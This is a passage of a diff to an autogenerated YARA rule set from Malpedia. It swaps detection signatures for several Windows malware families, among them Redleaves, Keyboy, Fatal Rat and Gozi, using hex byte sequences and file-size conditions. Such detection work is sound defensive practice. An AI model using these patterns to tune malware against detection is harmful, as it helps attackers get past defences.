c745f0ffffffff 0fb64dac } - $sequence_9 = { ff7514 ff74240c 6a01 57 e8???????? 8b0e 8b01 } + $sequence_0 = { e8???????? 8b7c2430 85ed 740d } + $sequence_1 = { e8???????? eb22 33c9 66666666660f1f840000000000 0fb6840c30010000 } + $sequence_2 = { 33d2 ff15???????? 83f81f 7323 } + $sequence_3 = { 7441 8b5c2430 85db 741d } + $sequence_4 = { 8bd0 e8???????? 85ff 740c } + $sequence_5 = { e8???????? 0fb6d8 84c0 7514 ff15???????? } + $sequence_6 = { e8???????? 0fb6d8 84c0 7514 } + $sequence_7 = { eb22 33c9 66666666660f1f840000000000 0fb6840c30010000 } + $sequence_8 = { e8???????? eb22 33c9 66666666660f1f840000000000 } + $sequence_9 = { 33d2 c605????????00 e8???????? 0fb6c3 } condition: - 7 of them and filesize < 1840128 + 7 of them and filesize < 155648 } -rule MALPEDIA_Win_Redleaves_Auto : FILE +rule MALPEDIA_Win_Fatal_Rat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b12b9704-a80b-52f8-bcf2-a2bc41cbf847" + id = "6ffdc4b6-3750-513f-882d-601b90060611" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.redleaves" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.redleaves_auto.yar#L1-L165" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fatal_rat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fatal_rat_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "462d228f5e12ac81384499c032e83f48dca27fd714ed17b6018f4ee42f07e472" + logic_hash = "3b6c3f51dd6f327df47fc74ff663d2bedf14223af4a9dd48f5c4c4ee2763ed08" score = 75 - quality = 69 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -122884,41 +122819,34 @@ rule MALPEDIA_Win_Redleaves_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 57 54 53 51 7565 7279 55 } - $sequence_1 = { 59 89f9 8d64241c d2c0 } - $sequence_2 = { 8d64241c d2c0 8a01 9c } - $sequence_3 = { 89d0 29f8 5f 5b } - $sequence_4 = { 9c 894504 9c 9c } - $sequence_5 = { 7279 55 7365 7254 } - $sequence_6 = { 47 657449 7041 64647254 } - $sequence_7 = { 8bb6e4010000 85f6 7407 56 } - $sequence_8 = { 899e8c010000 66898e7c010000 89beac010000 899ea8010000 66898e98010000 b830750000 8d8e14020000 } - $sequence_9 = { 9c 9c 8f442420 9c } - $sequence_10 = { 7443 399df4fbffff 743b 7612 8b8df0fbffff 8b01 8d95f8fbffff } - $sequence_11 = { 6880000000 50 e8???????? 8b85a4fdffff } - $sequence_12 = { 85c0 7507 32c0 e9???????? 33c0 898598fdffff 399da0fdffff } - $sequence_13 = { 7443 8d85acfeffff 68???????? 50 } - $sequence_14 = { 50 53 53 c78580fdffff4a000000 } - $sequence_15 = { 6a0d 59 663bc8 0f84c6000000 } - $sequence_16 = { 54 9c 60 9c } + $sequence_0 = { 5d c3 55 8bec 8b4508 8b4d0c 2d00803ed5 } + $sequence_1 = { c3 55 8bec 81ec04020000 53 57 6a7f } + $sequence_2 = { 68???????? 89470c ff7508 ffd6 8b4f0c 894710 } + $sequence_3 = { ff15???????? 85c0 894508 0f84e9000000 8b35???????? 68???????? 50 } + $sequence_4 = { 8d85a4fdffff 56 50 8935???????? ff15???????? 83c40c 6a0a } + $sequence_5 = { 59 740d 6a00 68???????? ff15???????? c9 c3 } + $sequence_6 = { 83c310 ebaf 8d4dc0 c645fc01 } + $sequence_7 = { 57 6a00 ff7508 ffd6 } + $sequence_8 = { 750c 57 ff15???????? e9???????? 53 8d45fc } + $sequence_9 = { 50 ff15???????? ff75f4 8946f8 6a00 50 ff15???????? } condition: - 7 of them and filesize < 1679360 + 7 of them and filesize < 344064 } -rule MALPEDIA_Win_Keyboy_Auto : FILE +rule MALPEDIA_Win_Skyplex_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "fec012ed-67a0-5990-a09f-2adc6f6d01e1" + id = "b9600ce3-b74e-5061-ac1d-1291ed2f5256" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.keyboy" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.keyboy_auto.yar#L1-L216" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.skyplex" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.skyplex_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "9b6870fb0f7fa4f14ee6296738101c3d20a040df4ce6327954399cd55fe9250f" + logic_hash = "30e30eac39bd800313b58f678b351c49e62a23e2940a68311cb3c8e508d044fd" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -122930,44 +122858,32 @@ rule MALPEDIA_Win_Keyboy_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 51 ff75d8 6a00 ff75c0 } - $sequence_1 = { 6a00 8945f2 8d45f8 50 6a0e } - $sequence_2 = { 5d c3 3b0d???????? f27502 f2c3 f2e953030000 } - $sequence_3 = { c705????????dbd99823 c705????????d468bcb5 c705????????2086e659 c705????????eec45abf c705????????bbee2bd1 c705????????3e20f129 } - $sequence_4 = { c705????????0caa6c89 c705????????a856701f c705????????597e743c c705????????0a9769e0 c705????????c4b85363 } - $sequence_5 = { c705????????0a9769e0 c705????????c4b85363 c705????????3abf261f c705????????890e9944 c705????????dbd99823 c705????????d468bcb5 c705????????2086e659 } - $sequence_6 = { 57 68cc020000 8d852cfdffff 8bf2 6a00 50 89b528fdffff } - $sequence_7 = { 24a0 3ca0 7518 b800080000 } - $sequence_8 = { 2408 f6d8 1ac0 24dd 88474e } - $sequence_9 = { 7207 b901000000 eb0f 3cfe 7509 } - $sequence_10 = { 6683f809 740a 6683f806 7404 32c9 eb02 } - $sequence_11 = { 7905 49 83c9f8 41 8a043e 0fbe4c8de0 3401 } - $sequence_12 = { 0fbe4c8de0 3401 0fbec0 0fafc8 80f185 880c3e } - $sequence_13 = { e8???????? 85c0 755e 83ff20 } - $sequence_14 = { f7d9 85db 0f44c2 23c8 } - $sequence_15 = { c705????????1671e665 c705????????f3106cb3 c705????????526c1ed0 c705????????5d05606c } - $sequence_16 = { ffd0 e9???????? bbfeffffff eb05 } - $sequence_17 = { 84c0 75f0 8d55ec c745ec5c417070 c745f06c655c55 } - $sequence_18 = { e8???????? 8b75c0 8bce 8b15???????? a3???????? e8???????? 8b15???????? } - $sequence_19 = { 8d46d6 99 83e23f 03c2 } - $sequence_20 = { ff15???????? 8bf8 c745f447646933 8d45f4 66c745f83200 50 } - $sequence_21 = { c745f06c655c55 8bf2 c745f470646174 66c745f86500 8a02 } + $sequence_0 = { 85c0 0f84c8000000 68???????? 8d8538f7ffff 50 e8???????? 83c408 } + $sequence_1 = { c1f805 57 8d3c85c0af4100 8b07 83e61f c1e606 03c6 } + $sequence_2 = { 6bc930 8975e0 8db1709c4100 8975e4 eb2a } + $sequence_3 = { f7bd1cf7ffff 8b849520f7ffff 50 8d8d40fbffff 51 ff15???????? } + $sequence_4 = { 85c0 7430 68???????? 8d8d38f7ffff 51 } + $sequence_5 = { 6a01 ff15???????? c78544f6ffff01000000 eb0f 8b8d44f6ffff } + $sequence_6 = { e8???????? 83c404 99 f7bdc0f6ffff 8b9495c4f6ffff } + $sequence_7 = { 33f6 33c0 0fbe84c158564100 6a07 c1f804 } + $sequence_8 = { 755b e8???????? 0fb6c8 85c9 } + $sequence_9 = { 8b02 8b4df0 51 8b502c ffd2 8945fc 837dfc00 } condition: - 7 of them and filesize < 2170880 + 7 of them and filesize < 262144 } -rule MALPEDIA_Win_Avzhan_Auto : FILE +rule MALPEDIA_Win_Atmosphere_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "84066c6e-b6ba-5768-970d-dec408a0e7ed" + id = "c4a1cda9-16c6-5553-aa27-a4261bb4c5d6" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.avzhan" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.avzhan_auto.yar#L1-L111" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atmosphere" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.atmosphere_auto.yar#L1-L110" license_url = "N/A" - logic_hash = "a735be6148b9160f001fa1a5adca0dca85c778e318efdbf988b4428d95a16bfa" + logic_hash = "cdc6f699a9e6edd17b2609c792a1b077712e73bd58ad4e35ab98f645501a4fd4" score = 75 quality = 75 tags = "FILE" @@ -122981,32 +122897,32 @@ rule MALPEDIA_Win_Avzhan_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { eb1d 6a02 e8???????? 83c008 } - $sequence_1 = { 51 8d8c2404020000 51 56 } - $sequence_2 = { e8???????? 83c003 33d2 0fafc6 f7742408 } - $sequence_3 = { c744243844000000 f3ab 8b442464 8b3d???????? } - $sequence_4 = { ffd7 6a00 8b542414 52 ffd3 6a0a ffd7 } - $sequence_5 = { 8d8c2418020000 6a00 51 6a00 ffd5 85c0 } - $sequence_6 = { 49 50 8bd9 e8???????? } - $sequence_7 = { 6a14 ff15???????? 833d????????01 75d2 } - $sequence_8 = { e8???????? 8bf0 6a64 81c600040000 e8???????? } - $sequence_9 = { 83c418 3935???????? 7450 8b942464010000 } + $sequence_0 = { 6a12 50 8b11 ff12 } + $sequence_1 = { c20400 56 57 8b7c240c 8bf1 57 ff15???????? } + $sequence_2 = { 56 f6d8 1bc0 57 83e002 } + $sequence_3 = { 894114 b001 c20400 8b4114 } + $sequence_4 = { 57 8bce ff502c 84c0 } + $sequence_5 = { 8b5104 668b0402 8b542404 668902 } + $sequence_6 = { ff15???????? 56 8bf8 ff15???????? 83c410 8bc7 } + $sequence_7 = { 83ec10 8bc4 89642410 50 } + $sequence_8 = { 57 8bf9 6a2e e8???????? } + $sequence_9 = { 6a0a 50 8b11 ff12 } condition: - 7 of them and filesize < 122880 + 7 of them and filesize < 360448 } -rule MALPEDIA_Win_Prestige_Auto : FILE +rule MALPEDIA_Win_Frozenhill_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d7f375cd-3d34-546f-b2e4-9c5bb038ef3e" + id = "67a93804-b581-5120-9731-01f5ce053d83" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.prestige" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.prestige_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.frozenhill" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.frozenhill_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "2346660d21873b1b5b8cefaf9e99067a1424befc1ebf82fdd47e2c270ae4e270" + logic_hash = "f77792066de7c23219a214fc531000b7de62e743dbb704f0fcc9770a904b8873" score = 75 quality = 75 tags = "FILE" @@ -123020,32 +122936,32 @@ rule MALPEDIA_Win_Prestige_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83e920 e9???????? 83e920 e9???????? 83e904 e9???????? 83e93c } - $sequence_1 = { 0f86e4010000 85c0 7430 6bc809 8945f4 8bc3 2bc6 } - $sequence_2 = { e8???????? 51 68???????? 8d8dc0fcffff c645fc9f e8???????? 51 } - $sequence_3 = { e8???????? 51 68???????? 8d8d28fbffff c645fc8e e8???????? 51 } - $sequence_4 = { 0f9fc1 03ca 8b55ec 2bc2 3bc1 7ce0 6a0d } - $sequence_5 = { 68???????? 8d8d08faffff c645fc82 e8???????? 51 68???????? 8d8d20faffff } - $sequence_6 = { 8d55fc 6a0a ff7310 8d4de4 e8???????? 59 59 } - $sequence_7 = { 59 59 0f45fb eb6f 8845d8 8b01 8b501c } - $sequence_8 = { e8???????? 8bc6 c1e002 50 8b8598f8ffff 0fb70485bc534700 8d0485b84a4700 } - $sequence_9 = { 8bf0 8b4b2c 8b5330 3bce 7426 85d2 740f } + $sequence_0 = { 8be5 5d c3 1b9b0e10769b 0e 10d1 9b } + $sequence_1 = { ff7508 8d85c8f7ffff 50 ff15???????? 3bf4 } + $sequence_2 = { 8d85f4feffff 3985e8feffff 7436 8b85e8feffff 0fbe08 83f95c 7428 } + $sequence_3 = { 05???????? 50 e8???????? 83c404 ebda 5f 5e } + $sequence_4 = { f3ab a1???????? 33c5 8945fc b9???????? e8???????? 6a73 } + $sequence_5 = { 8bf4 8b4508 8b4808 51 8b55f8 81c2300c0000 52 } + $sequence_6 = { 8bf4 8d85f0fdffff 50 6804010000 ff15???????? 3bf4 } + $sequence_7 = { b874000000 66894586 b85c000000 66894588 b857000000 6689458a b869000000 } + $sequence_8 = { 5b 8b4df0 33cd e8???????? 81c480030000 } + $sequence_9 = { 8945fc b9???????? e8???????? c745f400000000 c745e800000000 c745dc00000000 c745d000000000 } condition: - 7 of them and filesize < 1518592 + 7 of them and filesize < 2652160 } -rule MALPEDIA_Win_Transbox_Auto : FILE +rule MALPEDIA_Win_Astralocker_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "587785a3-ca04-5ed2-9e1f-d44127f3688f" + id = "61f3cae7-a5fe-5b6d-bea1-61609c1203ae" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.transbox" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.transbox_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.astralocker" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.astralocker_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "5d7fecd2b9b1e3ab63215aebd667fbd9c5d2815341d593f4c4a09feacf699ae3" + logic_hash = "b238aeedb1c86d89326b9be21dc83bdad9113ec500a78f62720bc92f0fb68cd1" score = 75 quality = 75 tags = "FILE" @@ -123059,32 +122975,32 @@ rule MALPEDIA_Win_Transbox_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bf1 8bda 57 837e1408 } - $sequence_1 = { 33d2 8b5d08 8955fc 8945e4 8945d8 8955e8 395104 } - $sequence_2 = { 8d4db8 e8???????? 8b35???????? 3b35???????? } - $sequence_3 = { 74e0 6a04 8d85f8fbffff 50 6a49 6a00 ff964c010000 } - $sequence_4 = { f7fb 56 8bf0 bbe0077e00 8bc3 2bc6 83f801 } - $sequence_5 = { 57 8bf1 33ff 6804010000 57 8d4610 c706???????? } - $sequence_6 = { 894608 85c0 74e0 6a04 8d85f8fbffff 50 6a49 } - $sequence_7 = { 8985d8faffff 8b8544faffff 8985dcfaffff 397e14 7204 8b16 } - $sequence_8 = { e8???????? 83c420 b812000000 33d2 8a900c530110 6683bc96760a000000 7506 } - $sequence_9 = { 8d8504e1ffff 89bd44e1ffff 50 33db 89b540e1ffff 53 } + $sequence_0 = { 33d2 33f6 891401 89740104 b808000000 6bc800 8b5508 } + $sequence_1 = { 51 8b14d0 52 e8???????? 83c408 8945f4 8955f8 } + $sequence_2 = { 891401 89740104 b808000000 6bc800 } + $sequence_3 = { 891401 89740104 b808000000 6bc800 8b5508 8b440a04 } + $sequence_4 = { 8955f0 ba08000000 6bf200 8b45ec } + $sequence_5 = { ba08000000 6bf200 8b45ec 8b55f0 b11a } + $sequence_6 = { 6bc80a 8b5508 33c0 33f6 89040a } + $sequence_7 = { 6bc20a 8b4d08 33d2 33f6 891401 89740104 } + $sequence_8 = { 8b5508 8b440a04 50 8b0c0a 51 e8???????? } + $sequence_9 = { 8b4508 8b4cd004 51 8b14d0 52 e8???????? 83c408 } condition: - 7 of them and filesize < 288768 + 7 of them and filesize < 191488 } -rule MALPEDIA_Win_Mydogs_Auto : FILE +rule MALPEDIA_Win_Socks5_Systemz_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4b817b5f-5d7c-595b-8c97-271eb59c1e4c" + id = "4e63ffd3-d637-54dc-963b-d590dcc87c41" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mydogs" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mydogs_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.socks5_systemz" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.socks5_systemz_auto.yar#L1-L105" license_url = "N/A" - logic_hash = "fb82bf24d6c6bbbb3b47474367cfbe1a36e1fd31146eb3759ae00c840dc8a44d" + logic_hash = "9d56f402c3f1fd51548e0c2bff2c38c0e563ae0abe552efe04d2796d89f7c180" score = 75 quality = 75 tags = "FILE" @@ -123098,32 +123014,30 @@ rule MALPEDIA_Win_Mydogs_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 88040a 8d4901 84c0 75f4 6808020000 e8???????? } - $sequence_1 = { 2bca 51 8d85e8fcffff 50 6a01 6a00 53 } - $sequence_2 = { 50 8b8544f8ffff 33c9 038d48f8ffff 83d000 50 0fb78582f9ffff } - $sequence_3 = { 83fe20 750f 57 6a01 6a01 68???????? e9???????? } - $sequence_4 = { 61 9d a1???????? f30f7e05???????? } - $sequence_5 = { 33d2 8945d8 b901000000 8930 } - $sequence_6 = { e8???????? 0fb64608 88450b 6a01 8d450b 50 8bcf } - $sequence_7 = { 6860ea0000 ff15???????? 68???????? 6a00 68???????? 68???????? } - $sequence_8 = { 69c005840808 40 894704 898560fbffff c1e818 33c6 25ff000000 } - $sequence_9 = { c785f0eeffff00000000 e8???????? 8bf8 83c408 85ff } + $sequence_0 = { 8bf1 6a4c e8???????? 8bc8 83c404 894c240c c744241800000000 } + $sequence_1 = { 50 ff7314 ff7310 e8???????? 8b4310 83c410 } + $sequence_2 = { ff10 56 8b35???????? 6a00 ffd6 50 ffd3 } + $sequence_3 = { 83c148 e9???????? c3 b8???????? } + $sequence_4 = { 8b4dec 83c134 e9???????? 8b542408 8d42e4 8b4ae0 } + $sequence_5 = { 8975a0 e9???????? 8b45a0 6aff } + $sequence_6 = { 33ed 896c2414 eb0d 50 ff15???????? 8be8 } + $sequence_7 = { 8d44240c 50 8d4c2414 e8???????? c744241c01000000 89742420 c74424380f000000 } condition: - 7 of them and filesize < 313344 + 7 of them and filesize < 1417216 } -rule MALPEDIA_Win_Isr_Stealer_Auto : FILE +rule MALPEDIA_Win_Fudmodule_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f92134ff-d8ee-58cb-8cb8-468d7205306f" + id = "8e6e3f32-6e1c-5a24-9698-45bfa215e2d1" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.isr_stealer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.isr_stealer_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fudmodule" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fudmodule_auto.yar#L1-L162" license_url = "N/A" - logic_hash = "75691989209029cb7a637cf5df87a857ef3ef18b6fe3194f56cba1ecab86658c" + logic_hash = "4035950c3484d09b89067be960d8e0c73dab8587b168d82e14a4974f9d87cb3f" score = 75 quality = 75 tags = "FILE" @@ -123137,71 +123051,77 @@ rule MALPEDIA_Win_Isr_Stealer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { fb b05e 2bc1 e8???????? 661e } - $sequence_1 = { 08ac22c115978d 0e e8???????? 07 } - $sequence_2 = { 1c8b 53 2456 2bd1 807e6543 } - $sequence_3 = { 46 1e 301b 15c2c8c807 d6 12d8 } - $sequence_4 = { 8d16 b205 07 d32cb6 08ac22c115978d 0e e8???????? } - $sequence_5 = { a7 8d16 b205 07 d32cb6 08ac22c115978d } - $sequence_6 = { 07 fb b05e 2bc1 e8???????? } - $sequence_7 = { 8d16 b205 07 d32cb6 08ac22c115978d 0e } - $sequence_8 = { 07 d32cb6 08ac22c115978d 0e e8???????? } - $sequence_9 = { e8???????? 07 fb b05e 2bc1 e8???????? 661e } + $sequence_0 = { 660fb3e9 53 f6dd 660fbbe2 57 } + $sequence_1 = { 4801e3 fec8 66c1cf03 d2e8 } + $sequence_2 = { 498b8c24e0090000 e8???????? 4983bc24d809000000 488bb42480000000 488b5c2478 } + $sequence_3 = { f9 4801e3 e9???????? 660fbec2 58 e9???????? f5 } + $sequence_4 = { 41ffd5 85c0 782d 488bd6 } + $sequence_5 = { 30db 80db4a 00eb 83c101 fec3 } + $sequence_6 = { e8???????? 498bcc e8???????? 8d7514 } + $sequence_7 = { 4963c3 488d4c2458 8b540460 4c8d440460 } + $sequence_8 = { 0fb6c3 f6d0 0f9cc0 58 e9???????? } + $sequence_9 = { 488bce e8???????? 85c0 7403 83cf08 488bce } + $sequence_10 = { 488d3c01 ff15???????? 488d55b0 488bc8 488d442440 } + $sequence_11 = { 4883c420 b37a e9???????? 0f855b73ffff 66d3fe } + $sequence_12 = { 488d8c246ed9e517 f5 f8 4889c3 488d3ced1b6cb3bd } + $sequence_13 = { 4889542420 4c8d442430 41b908000000 488bd3 488bc8 } + $sequence_14 = { c745b073734e6f c745b474696679 c745b8526f7574 c745bc696e6545 66c745c07800 } + $sequence_15 = { fecb 4889e8 b377 b301 660fa3d2 0fbae207 } condition: - 7 of them and filesize < 540672 + 7 of them and filesize < 795648 } -rule MALPEDIA_Win_Unidentified_094_Auto : FILE +rule MALPEDIA_Win_Lpeclient_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f5bdd8f3-d974-5222-9555-3631072a29c0" - date = "2023-12-06" - modified = "2023-12-08" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_094" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_094_auto.yar#L1-L118" + id = "74413435-5011-52f6-9527-2aa5c727e8b5" + date = "2026-01-05" + modified = "2026-01-06" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lpeclient" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lpeclient_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "f3d0ed91e99c9ab03a6ddd24a2a28007a40b7e677077c8b725a5a67f32cc52a7" + logic_hash = "b5d510f66f1063fb0bc5e208227e246c4a78a2503ab8649007e1796f9f802e10" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20231130" - malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351" - malpedia_version = "20230808" + malpedia_rule_date = "20260105" + malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" + malpedia_version = "20251219" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 890d???????? 57 8915???????? a3???????? 83ceff b9???????? } - $sequence_1 = { 6a5c 68???????? e8???????? 83c408 33c9 } - $sequence_2 = { 0fb65004 3015???????? 0fb64805 300d???????? 0fb65006 3015???????? } - $sequence_3 = { 83c310 ff4d0c 0f857ffeffff 5f } - $sequence_4 = { 0fb65004 3015???????? 0fb64805 300d???????? 0fb65006 3015???????? c3 } - $sequence_5 = { 884dff 84d2 7902 341b } - $sequence_6 = { 3055fd 0fb61401 3055fe 0fb6540101 3055ff 8b55fc 89540102 } - $sequence_7 = { 6a00 6a00 6a00 ff15???????? c3 } - $sequence_8 = { 80f31b 8ad3 02d2 84db 7903 80f21b } - $sequence_9 = { 890d???????? 57 8915???????? a3???????? } + $sequence_0 = { 488d5c3e04 b8fcffffff 2bc7 8b7c2430 03f8 81ff00100000 } + $sequence_1 = { 488d05ddf80000 483947f0 7412 488b0f 4885c9 740a } + $sequence_2 = { c7450c74006900 c745106f006e00 c745143a002000 c745184b006500 c7451e70002d00 c7452241006c00 } + $sequence_3 = { 488d0518f90000 483bc8 741a 83b96001000000 7511 e8???????? 488b8b58010000 } + $sequence_4 = { 4c8d0da1fd0000 33c0 498bd1 448d4008 3b0a 742b ffc0 } + $sequence_5 = { 48c1e814 488d0dbfd2ffff 83e00f 339481a0a40100 } + $sequence_6 = { 488bcf ff15???????? 488b8c2400030000 4833cc e8???????? 488b9c2420030000 } + $sequence_7 = { 7508 42807c120122 7427 41ffc0 48ffc2 443bc1 } + $sequence_8 = { 33d2 48f7d1 83e903 85c9 7e1c 6690 42803c123a } + $sequence_9 = { 0f84b8010000 488d2d15e70000 41bc14030000 4c8d0528800000 488bcd 418bd4 e8???????? } condition: - 7 of them and filesize < 524288 + 7 of them and filesize < 289792 } -rule MALPEDIA_Win_Rockloader_Auto : FILE +rule MALPEDIA_Win_Gozi_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "104e8d35-82fc-516a-9593-bcf9bbbb834c" + id = "9c925d7e-4a58-58b3-a521-9431dccc113c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rockloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rockloader_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gozi" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gozi_auto.yar#L1-L308" license_url = "N/A" - logic_hash = "64906b80f87c45698d39208b0d7a3080387e28b93568b203b7e0595d5362c76c" + logic_hash = "d60d7415702d07d989a84ad089c91c9c930dfc0751149612c046eb9a7bf0b686" score = 75 quality = 73 tags = "FILE" @@ -123215,34 +123135,56 @@ rule MALPEDIA_Win_Rockloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { dc4dec 83650800 dec9 dd5dec dd45ec dd5918 9b } - $sequence_1 = { 40 8a0c30 3acb 75f3 8a0c30 3acb 7413 } - $sequence_2 = { c3 80f961 7c0d 80f966 7f08 0fbec9 8d44c1a9 } - $sequence_3 = { c0e204 240f 02d0 8817 } - $sequence_4 = { 80383a 75b7 40 e8???????? 50 } - $sequence_5 = { 46 80382d 750a dd05???????? 40 dd5de4 } - $sequence_6 = { 7f09 0fbec9 8d44c1d0 eb24 80f941 7c0e 80f946 } - $sequence_7 = { 5d c20400 e8???????? 85c0 7407 c7400c05000000 c3 } - $sequence_8 = { 6a02 58 e8???????? 8bf8 85ff 0f84a9feffff 837d1000 } - $sequence_9 = { 48 746a 48 744e } + $sequence_0 = { 8b4dd0 03d1 8915???????? 03d9 891d???????? a3???????? } + $sequence_1 = { 6a00 68cee6ac00 52 50 e8???????? 898500ffffff } + $sequence_2 = { 50 ff7508 8d8771030000 ff10 } + $sequence_3 = { fb 5c 3c32 7e02 19c1 a6 3327 } + $sequence_4 = { c9 50 0c73 0e 96 3b5375 60 } + $sequence_5 = { 55 f79bfe7ca80d a7 ad b710 } + $sequence_6 = { 6a00 e8???????? 85c0 0f8899000000 8b45a8 } + $sequence_7 = { 8ee1 54 257c693a5c 48 fb 5c } + $sequence_8 = { e8???????? 03f0 46 ebdc ff75fc e8???????? } + $sequence_9 = { 6a00 6a00 6a00 8d87a2020000 ff10 } + $sequence_10 = { 0f8459010000 50 ff7570 ff15???????? } + $sequence_11 = { 50 8b35???????? ffd6 57 68???????? e8???????? } + $sequence_12 = { 50 68???????? 6a00 e8???????? c745ec01000000 } + $sequence_13 = { 8b4d18 e8???????? 8b45e0 50 } + $sequence_14 = { 3327 72e7 3ebb4a68d947 d93e } + $sequence_15 = { 3818 0f8453feffff 50 e8???????? 89463c ffb574ffffff } + $sequence_16 = { e8???????? ebda 8bc3 c1f805 8d3c85e00c4400 } + $sequence_17 = { 89950cfeffff 8b8d08feffff 0b8d0cfeffff 7431 0fc0f2 } + $sequence_18 = { f6c5ae 69d5e21d6c7f 0fc0f2 0fce 8af4 } + $sequence_19 = { ffb5acfeffff e8???????? 8bd8 039dacfeffff ff7510 53 } + $sequence_20 = { dc6f1b 95 bf633629a8 02738f 1da2c9dde2 } + $sequence_21 = { 84e5 0fce 0fbef4 69f116814003 0faceaca c0d6f6 } + $sequence_22 = { 8b440704 8945a4 50 e8???????? 8b4648 8b7c0708 897da0 } + $sequence_23 = { 68???????? ffb5bcfdffff ff15???????? 897dfc 